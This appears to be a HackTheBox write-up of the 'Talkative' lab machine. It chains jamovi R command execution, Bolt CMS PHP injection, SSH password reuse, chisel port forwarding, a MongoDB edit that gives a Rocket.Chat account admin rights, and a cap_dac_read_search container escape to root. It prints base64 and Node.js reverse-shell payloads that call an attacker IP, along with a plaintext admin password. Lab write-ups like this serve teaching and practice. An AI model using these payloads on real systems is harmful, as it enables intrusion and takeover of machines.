HackTheBox — Talkative

Talkative was a hard rated machine, this involved exploiting Rj editor a plugin available Jamovi, giving us the ability to execute commands which was running inside a docker container, from there the credentials for bolt’s admin user were found allowing us to perform remote code execution, landing again into a container, from there access to saul was made due to password re use, on further enumeration, we were able to access the database of rocket chat and getting access to it as an admin user by either changing the password hash or adding new admin user which was also vulnerable to remote code execution due to web hook, landing into the third container which had cap_dac_read_search , allowing us to breakout from the container and give us a root shell on the target host.


80/tcp open http Apache httpd 2.4.52
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| X-XSS-Protection: 1
| X-Instance-ID: i3D7nWb4BARMskXKt
| Content-Type: text/html; charset=utf-8
| Vary: Accept-Encoding
| Date: Sat, 09 Apr 2022 19:09:17 GMT
| Connection: close
| <!DOCTYPE html>
| <html>
| <head>
| <link rel="stylesheet" type="text/css" class="__meteor-css__" href="/3ab95015403368c507c78b4228d38a494ef33a08.css?meteor_css_resource=tr
| <meta charset="utf-8" />
| <meta http-equiv="content-type" content="text/html; charset=utf-8" />
| <meta http-equiv="expires" content="-1" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <meta name="fragment" content="!" />
| <meta name="distribution" content="global" />
| <meta name="rating" content="general" />
| <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" />
| <meta name="mobile-web-app-capable" content="yes" />
| <meta name="apple-mobile-web-app-capable" conten
| HTTPOptions:
| HTTP/1.1 200 OK
| X-XSS-Protection: 1
8080/tcp open http Tornado httpd 5.0
|_http-title: jamovi
8081/tcp open http Tornado httpd 5.0
|_http-title: 404: Not Found
8082/tcp open http Tornado httpd 5.0
|_http-title: 404: Not Found


Visiting port 80, it will redirect us to talkative.htb so let's add this to /etc/hosts file

Scrolling below we do see some names which can be helpful if there are any login pages

Going at the bottom we have 2 links about the products which says that it will be launched soon

The first one “TALK-A-STATS” is about jamovi spreadsheet software that is running on port 8080

And the other “TALKFORBIZ” is rocket chat running on port 3000, I tried fuzzing for files using dirsearch but it was awfully slow and there wasn’t anything interesting either

With wappalyzer it showed us about that it’s using Bolt CMS

We can access the login page by visiting /bolt, I found this end point by lookup at bolt's documentation

Right now we don’t have any credentials so let’s just move on

PORT 3000 (rocket chat)

I tried creating an account on rocket chat

It then prompted error about invalid domain

So let’s just used talkative.htb as domain name

This allowed us to register an account but we don’t see anything there apart from General channel in which there's only admin

So I decided to run the exploit for password reset on admin account

But it didn’t seem that it was working as it was just printing the alphabets

PORT 8080 (jamovi)

Checking for exploits related jamovi there was one related to XSS that can be escalated to rce

The description of exploit says

Jamovi is affected by a cross-site scripting (XSS) vulnerability. The column-name is vulnerable to XSS in the ElectronJS Framework. An attacker can make a .omv (Jamovi) document containing a payload. When opened by victim, the payload is triggered.

So the column name is vulnerable to XSS, let’s test this if it works here

Now when we refresh the page it’s going to execute the alert command

But we can’t escalate this further to get rce in this scenario, If we see the options we have on jamovi there’s Rj editor, so we can try to execute commands using the R language

Looking up at the documentation for R language we can execute system commands like this

system("bash -c 'id'", intern = TRUE)

We get the output of the id command as a root user but we are not actually the root user on the target machine, if we check the hostname this will return a random value which indicates that we are inside a docker container

To get a reverse shell I used bash reverse encoded in base64

system("bash -c 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40Ni8yMjIyIDA+JjEK | base64 -d |bash'",intern = TRUE)

After getting a shell we can stabilize it so that we can get the functionality of using arrow keys and bash auto completion

In root’s folder we can see a omv file named bolt-administration

Now the issue here was there was no netcat, net-tools, curl or wget that I could transfer this omv file on to my machine neither there was any tool to unzip the omv file so I base64 encoded the contents of the file

Copied it on my host machine’s terminal and saved it then piped it to base64 decode and got the file

Reading the xdata.json we can see usernames and passwords for bolt

I tried the credentials for janit , it failed

Tried sual's credentials which gave an error on authenticating

Same with matt, so I decided to test admin as the username with the passwords and jeO09ufhWD<s worked for the admin user

We can also see the bolt version which is Bolt v 5.1.3

Having access to admin dashboard we can an option to upload files but problem is that it has a whitelist that is allowing specific file extensions

Visiting All Configuration Files from Configuration we'll see a file named bundles.php

Adding a php command in that file will lead too execute that on a 404 request

I tried getting the reverse shell the same way as I did with jamovi container but the connection kept closing

system("bash -c 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40Ni8yMjIyIDA+JjEK | base64 -d |bash'")

Instead I just copied php bash a web interactive shell in bundles.php

So looks like we are in another container and this would be for bolt cms, we can get a reverse shell from here

The reason I used rlwrap before nc is because there's no python or python3 on container which would allow us to stabilize the shell to get auto complete and navigating around bash history so rlwrap kinda gives us that functionality

On the container we can also see that there’s curl so we can download nmap and run a scan to see if there are any other containers in the network

But I wasn’t able to run the nmap on the container as it first checked if service scripts were in the path and if not it would revert to /etc/services which wasn't on the container as well

I thought of using ssh on the target machine (talkative.htb) as the docker gateways is the host machine but it was giving an error because we didn’t have a tty shell

This can be resolved by using script to spawn bash shell

And with the password jeO09ufhWD<s we can login in saul on the host machine

We can try to get a stabilize shell by first getting a reverse shell and stabilizing it with python3

After I transferred pspy to monitor the background processes running

update_mongo.py seemed interesting but we didn't had permissions to read it so checking to see if there's any local port listening

This gave us a lot of open ports but out all of open ports, 3000 seems interesting as this is what we encountered earlier and it’s hosted from this machine

Checking the apache config files to see where rocket chat’s directory is

It didn’t showed us the path but we know that admin@talkative.htb is a valid username on that site, running arp -a will reveal how many containers the host is using

Using the static binary of nmap we transferred

Googling this port tells that this is for mongodb and rocket chat uses mongdb for it's back end

So we need port forwar27017 that is open on container and we can do that by using chisel

Transferring this binary on the target machine

After transferring on the target machine we’ll use chisel as a server on port 9000 using reverse proxy for port forwarding and on the target machine we’ll use chisel client to connect to port 9000 from our local machine and forwarding port 27017 from the container

This article does a great job in explaining this process

To interact with mongodb we need to use mongosh, it isn't installed by default so downloading mongo db and it's dependencies

Using this command we’ll be able to connect to mongodb

mongosh "mongodb://localhost:27017"

Getting connected to mongo back end we can run commands to enumerate databases, I wasn’t familiar with using mongosh so this article helped me in enumerating the database and tables

We can see the size of meteor is around 5 MB so it must be having some data, switching to meteor database with use meteor

Listing the values in users with db.user.find()

At first I tried changing the password to 12345 and converting into bcrypt hash and then updating the admin user's password

db.getCollection('users').update({username:"admin"}, { $set: {"services" : { "password" : {"bcrypt" : "$2a$10$ZcP2SxsOH811cJjuxgvk.udV8pkPx7Hw6G9GqKr08S3ZcYFnNRz7C" } } } })

But this wasn’t working as when I visited the rocket chat site it was still giving an error on login so instead I created a user and gave him the admin role

db.users.update({username: "arz"}, { $push: { roles: "admin"}})

The reason why I port forwarded 3000 is because it wasn’t responding normally with talkative.htb:3000 so I port forwarded like I did for mongodb

We can get remote execution by using node js and calling a bash reverse shell, there’s a blog explaining how integration can be abused to get remote code execution

Access the administration panel and visit Integrations and then select Incoming WebHook

const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'");

After saving changes, you’ll get a url for webhook

Visit this link and you’ll get a shell

After getting a shell we are again inside a container, there wasn’t anything interesting on this container , so I decide to check what capabilities we have on this docker instance

So no capsh binary but there's another way to view capabilities by reading /proc/self/status and using capsh from our local machine

Copying the value CapBnd which is 00000000a80425fd

Here we can see a capability cap_dac_read_search which allows us to read the files from the host machine

There was an exploit written in c language which was linked in the article, I downloaded the source code and compiled on my local machine

Since there was no wget or curl through which we can download binary , I used the cat to download the binary from our machine by hosting it through nc

cat < /dev/tcp/ > test
nc -lnvp 1111 < test

But this exploit failed to ran, so went on searching other exploits and found a repo for cdk

Downloaded the binary on my local machine and transferred it the same way

Tried running this binary to read /etc/hosts from the host machine but still it failed

Next I tried this command

./cdk run cap-dac-read-search /etc/hosts /

This worked as it was able to chdir to host root / and spawning bash, to get a shell on the host machine as root user we can put our public key in /root/.ssh/authorized_keys

Going back to the host machine as saul user and downloading the ssh private key




Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store